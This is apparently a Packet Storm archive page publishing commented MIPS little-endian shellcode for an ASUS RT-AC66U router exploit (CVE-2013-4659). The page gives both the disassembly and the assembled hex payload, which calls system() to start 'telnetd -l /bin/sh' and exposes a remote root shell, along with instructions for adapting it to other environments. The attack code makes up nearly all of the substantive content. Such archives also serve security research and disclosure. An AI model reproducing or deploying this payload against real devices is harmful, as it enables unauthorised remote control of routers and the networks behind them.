exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MIPS Little Endian system() Shellcode

MIPS Little Endian system() Shellcode
Posted Jul 26, 2013
Authored by Jacob Holcomb

MIPS little endian system() shellcode that was designed for the ACSD exploit on the ASUS RT-AC66U SOHO router.

tags | shellcode
advisories | CVE-2013-4659
SHA-256 | 44f74dfe180ee77a3c7307edad91eaa711f2ccab17876621d94d55a7f5c9f510

MIPS Little Endian system() Shellcode

Change Mirror Download
# Disassembled MIPS Little Endian Shellcode 
# Shellcode was designed for ACSD exploit on the ASUS RT-AC66U SOHO router.
# CVE: CVE-2013-4659
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com
#
# NOTE:
# In order to use this MIPS ASM elsewhere, you will need to change the address
# of the system() function call to match your environment and reassemble the ASM.
# _ characters in the comments below represent a space.


lui t0,0x6e6c //Loading Upper Immediate nl into temp. reg. #0
ori t0,t0,0x6574 //Bitwise OR immediate. Putting et into lower 16 bits of t0
sw t0,-20(sp) //Store word pointer to command string for execution

lui t1,0x2064 //Loading Upper Immediate _d into temp. reg. #1
ori t1,t1,0x7465 //Bitwise OR immediate. Putting te into lower 16 bits of t0
sw t1,-16(sp) //Store next part of command

lui t2,0x2f20 //Loading Upper Immediate /_ into temp. reg. #2
ori t2,t2,0x6c2d //Bitwise OR immediate. Putting l- into lower 16 bits of t1
sw t2,-12(sp) //Store next part of command

lui t3,0x2f6e //Loading Upper Immedate /n into temp. reg. #3
ori t3,t3,0x6962 //Bitwise OR immediate. Putting ib into lower 16 bits of t2
sw t3,-8(sp) //Store next part of command

li t4,26739 //Loading Immediate hs00 into temp. reg. #4
sw t4,-4(sp) //Store next part of command

addi a0,sp,-20 //Store "telnetd -l /bin/sh" in reg. a0 for system() function call
addi sp,sp,-20 //Move stack pointer to "telnetd -l /bin/sh" string on the stack

lui t9,0x2ab4 //Loading Upper Immediate of system() into t9
ori t9,t9,0xf050 //Bitwise OR immediate. Putting rest of system() into t9
jalr t9 //Jumpying to t9/system()

andi at,k1,0x4132 //Filler instruction for branch delay


# NOTE: Assembled shellcode
#
# #80 Bytes system() Shellcode by Jacob Holcomb of ISE
# #Calling system() and executing telnetd -l /bin/sh
# shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
# shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
# shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
# shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
# shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
# shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
# shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
# shellcode += "\x41\x61\x33"

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close